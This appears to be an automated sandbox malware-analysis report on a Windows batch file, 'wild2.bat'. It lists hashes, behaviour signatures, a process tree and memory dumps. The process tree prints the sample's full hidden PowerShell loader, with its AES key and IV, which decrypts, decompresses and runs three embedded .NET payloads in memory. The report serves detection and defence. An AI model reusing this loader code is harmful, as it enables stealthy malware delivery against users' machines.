09ebaac81c2816aae61095e019924152b15c1504b0f2f6b512c4230b72268bf8

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
03-07-2024 20:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

wild2.bat
Size

101KB
MD5

1b0db010a5478b1bd34e62d563490b57
SHA1

8d138974f30d83f9f1dfd7ffb89c830b290dc647
SHA256

6e10dd12715347b79ddc3aaaa30be9b00548cf54f7b515e66e78f995b6412162
SHA512

a081a9ae668b2f9389d8b5648a9bc218cb6e8002d76955307104324b66fc22cfda501a8c6e69b3f87fe582fee8ab6feb8bac365412852708c91cd6673621db8f
SSDEEP

3072:8fmmAtb3zUdrhco3sgrDIt+YaNQsEerlw5i:Cmm6DUdqo8grMt+YKPt

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1316	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1316	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1684 wrote to memory of 1244	1684	cmd.exe	29
PID 1684 wrote to memory of 1244	1684	cmd.exe	29
PID 1684 wrote to memory of 1244	1684	cmd.exe	29
PID 1684 wrote to memory of 1316	1684	cmd.exe	30
PID 1684 wrote to memory of 1316	1684	cmd.exe	30
PID 1684 wrote to memory of 1316	1684	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\wild2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('7wFkEAMgT15IlR12QYdvYeiKFxGbAYX0oQI0LpFbKWU='); $aes_var.IV=[System.Convert]::FromBase64String('bGaT/qQXAZ1jwzjNeDyQCg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FNnBE=New-Object System.IO.MemoryStream(,$param_var); $AJjqG=New-Object System.IO.MemoryStream; $fbver=New-Object System.IO.Compression.GZipStream($FNnBE, [IO.Compression.CompressionMode]::Decompress); $fbver.CopyTo($AJjqG); $fbver.Dispose(); $FNnBE.Dispose(); $AJjqG.Dispose(); $AJjqG.ToArray();}function execute_function($param_var,$param2_var){ $QipFS=[System.Reflection.Assembly]::Load([byte[]]$param_var); $PhiBy=$QipFS.EntryPoint; $PhiBy.Invoke($null, $param2_var);}$VfwJS = 'C:\Users\Admin\AppData\Local\Temp\wild2.bat';$host.UI.RawUI.WindowTitle = $VfwJS;$CtScz=[System.IO.File]::ReadAllText($VfwJS).Split([Environment]::NewLine);foreach ($jbVyw in $CtScz) { if ($jbVyw.StartsWith('lxeWUjbreKgbBVHbyYLg')) { $SrUtu=$jbVyw.Substring(20); break; }}$payloads_var=[string[]]$SrUtu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1316

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1316-4-0x000007FEF5B0E000-0x000007FEF5B0F000-memory.dmp

Filesize
4KB

Download
memory/1316-6-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/1316-5-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/1316-7-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/1316-8-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/1316-9-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/1316-10-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/1316-11-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/1316-12-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download